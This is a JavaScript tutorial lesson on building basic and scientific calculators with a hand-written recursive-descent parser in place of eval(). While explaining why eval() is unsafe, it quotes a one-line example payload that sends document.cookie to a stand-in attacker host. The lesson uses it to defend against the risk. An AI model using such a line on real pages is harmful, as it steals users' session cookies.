Skip to content
Tutorials Center
My learning

Topics

Lesson 133 of 156 ยท Projects

Project: Calculator

Build a basic and a scientific calculator in JavaScript with a real expression parser instead of eval(): tokenizer, operator precedence, functions, degrees and radians.

A calculator looks like the easiest project there is: ten digits, four operators, an equals key. Then you press 2 + 3 ร— 4 and find out the hard part. The answer should be 14, not 20, which means your program has to know that multiplication goes before addition. A calculator is really a small language interpreter with buttons on it.

In this project you'll build one properly. First you'll write a tiny parser that understands numbers, operators, brackets, functions and constants. Then you'll put a basic keypad on it, and finally a scientific calculator with sin, log, factorials and a degrees/radians switch. The parser is the heart of the project, and you'll reuse the same one in both calculators.

It uses ideas from Functions, Regular Expressions, Errors, The Math Object and Bubbling, Capturing and Delegation.

Why not just use eval()?

The tempting shortcut is eval("2 + 3 * 4"), which returns 14. It works, but it is a bad idea in a calculator:

  • eval() runs any JavaScript, not just arithmetic. A user (or a pasted string) could type fetch("https://evil.example/?c=" + document.cookie) and it would run.
  • It accepts things a calculator shouldn't, like alert(1) or while(true){}, which freezes the tab.
  • You can't control the error messages, the supported functions or the number format.
  • Strict Content Security Policies block eval() completely.

Writing your own parser takes about 100 lines and solves all four problems: the only things that can happen are the things you decided to support.

Never pass user input to eval() or new Function(). If you ever need to evaluate user-written formulas, write a parser like this one, or use a library built for it.

How an expression gets evaluated

Evaluating text happens in two stages:

  1. Tokenizing splits the text into meaningful pieces. "2 + 3*4" becomes the tokens 2, +, 3, *, 4.
  2. Parsing reads the tokens and works out how they group, using the precedence rules: brackets first, then powers, then multiplication and division, then addition and subtraction.

The technique you'll use is recursive descent: one small function for each level of precedence. The function for addition calls the one for multiplication, which calls the one for powers, and so on down to numbers and brackets. A bracket calls the top function again, which is where the "recursive" comes from.

flowchart TD
  E["expression: + and -"] --> T["term: * / %"]
  T --> U["unary: leading - or +"]
  U --> P["power: ^"]
  P --> F["postfix: !"]
  F --> PR["primary: number, name, function call, ( )"]
  PR -. "inside brackets" .-> E

Each level handles one precedence rule and delegates the tighter-binding work to the level below. Brackets loop back to the top.

Step 1: The tokenizer

A sticky regular expression (the y flag) matches only at lastIndex, which makes it perfect for walking along a string one token at a time. Each alternative in the pattern is a capture group, so the destructured match tells you which kind of token you found. Anything that isn't a number, a name or a known symbol is rejected right away with a clear message.

JS Step 1: Splitting text into tokens

Press Run (or Ctrl + Enter) to see the console output here.

No output.

Notice that the minus sign is just a symbol at this stage. Whether - means "subtract" or "negative" depends on where it appears, and that's a job for the parser.

Step 2: The parser and evaluator

Now the parser. It keeps a position in the token list and has one function per precedence level. Each function evaluates as it goes, so there's no separate tree: expression() returns a number.

A few details worth studying in the code:

  • term() loops, so 8 / 4 / 2 is evaluated left to right as (8 / 4) / 2 = 1.
  • power() calls unary() for its right side, which makes ^ right-associative: 2 ^ 3 ^ 2 is 2 ^ (3 ^ 2) = 512. It also lets you write 2 ^ -2.
  • unary() sits above power(), so -2 ^ 2 is -(2 ^ 2) = -4, the usual mathematical convention.
  • In term(), if the next token is a name or (, the parser multiplies: 2pi and 3(4 + 1) work like on paper.
  • calculate() rounds to 12 significant digits, so 0.1 + 0.2 shows 0.3 instead of 0.30000000000000004, and turns Infinity and NaN into errors with plain messages.
JS Step 2: A complete expression evaluator

Press Run (or Ctrl + Enter) to see the console output here.

No output.

Read the failures at the bottom. Every bad input produces a specific, human-readable error and nothing else can happen. That's what a hand-written parser buys you over eval().

Step 3: A basic calculator

With calculate() in hand, the interface is mostly bookkeeping. The calculator keeps one state variable: the expression string typed so far. Each key press changes that string and calls show(). This is the same state, then render habit you met in the To-Do App project.

The handler uses event delegation: one click listener on the keypad finds the pressed button with closest("button") and reads its data-key. Pressing a real keyboard key calls the very same press() function, so there is only one place where behavior lives.

The details that make it feel right are all in press():

  • A second operator replaces the first (9 ร— รท 3 becomes 9 รท 3), as pocket calculators do.
  • A number can only have one decimal point, and a bare . becomes 0..
  • After =, typing a digit starts a new calculation, but typing an operator continues from the result.
  • A failed calculation shows its message and clears itself on the next key.
Step 3: Basic calculator

Click in the preview and type on your keyboard to try the shortcuts. Try 0.1 + 0.2 =, then 5 รท 0 =, then 2 + 3 = ร— 4 = to see the result carry over.

The % key here is the remainder operator, like in JavaScript, because that's what the parser implements. A phone calculator's "percent" button is a different feature: it depends on context (50 + 10% means 55). If you want it, handle it in press() by rewriting the last number before calculate() runs.

Step 4: A scientific calculator

For the scientific version the parser grows in four ways, and the interface changes to match:

  1. Functions and constants come from two lookup tables, FUNCTIONS and CONSTANTS. Adding a function later means adding one line.
  2. Angle mode. sin(30) should be 0.5 in degrees and about -0.99 in radians. The trig functions convert their argument through toRadians(), which reads the current angleMode, and the inverse ones convert back with fromRadians().
  3. Ans is defined with a getter: get ans() { return lastAnswer; }, so each use reads the latest answer, not the value from when the page loaded.
  4. Tiny results are snapped to zero. In floating point sin(180ยฐ) is 1.2e-16, which looks wrong on a calculator. Anything below 1e-12 is shown as 0.

The interface also changes. A plain text <input> lets the user type naturally, and the keys insert text at the cursor with setRangeText(). There's a live preview under the input that updates on every keystroke and stays quiet while the expression is still incomplete. A history list makes old calculations clickable.

Step 4: Scientific calculator

Try sin(30) in DEG mode (0.5), switch to RAD and watch the preview change, then type 5! + Ans, 2pi and sqrt(-1). The last one reports "Not a number" instead of crashing.

Where to go from here

  • Memory keys. Add M+, M- and MR that store a value in a variable (and localStorage, once you're off the sandbox).
  • More functions. Add cbrt, round, floor or exp to FUNCTIONS: it takes one line each.
  • Variables. Let the user write x = 5 and use x later. The CONSTANTS table becomes a Map you can change.
  • Big numbers. Switch the arithmetic to BigInt for exact integers. See BigInt and Symbol.
  • Precision. Money needs decimals that add up exactly. Work in integer cents, as the Expense Tracker project does.
  • Tests. The parser is a pure function, so it's very easy to test. See Testing JavaScript.

Check your understanding

Quick check ยท 5 questions

of 5 answered You scored / 5 ยท perfect!

  1. 1. Why is eval() a poor choice for evaluating what a user types into a calculator?

    eval() executes arbitrary code, so user input could read cookies, call APIs or freeze the page. A small parser can only do what you build into it.
  2. 2. What does the parser from this lesson return for -2 ^ 2?

    unary() sits above power() in the call chain, so the power is computed first and the minus is applied afterwards: -(2 ^ 2) = -4.
  3. 3. Why does power() call unary() for its right-hand side?

    Because unary() leads back to power(), 2 ^ 3 ^ 2 groups as 2 ^ (3 ^ 2), and a leading minus is allowed in the exponent.
  4. 4. What is the job of the tokenizer?

    The tokenizer only classifies pieces of text. Grouping them by precedence and computing is the parser's job.
  5. 5. Why does the calculator round results with Number(value.toPrecision(12))?

    Binary floating point can't store most decimals exactly. Keeping 12 significant digits removes the tiny error so 0.1 + 0.2 shows 0.3.

Summary

  • A calculator is a small interpreter: tokenize the text, then parse it by precedence.
  • Recursive descent uses one function per precedence level, and brackets call the top function again.
  • Never use eval() for user input. A hand-written parser only does what you allow and gives clear errors.
  • Keep one piece of state (the expression), change it in press() and show it with show(). Mouse and keyboard share the same function.
  • Lookup tables for functions and constants make it easy to extend, and a getter keeps Ans current.
  • Round to a fixed number of significant digits to hide floating-point noise, and turn NaN and Infinity into messages.

Next: Project: Digital and Analog Clock, Stopwatch.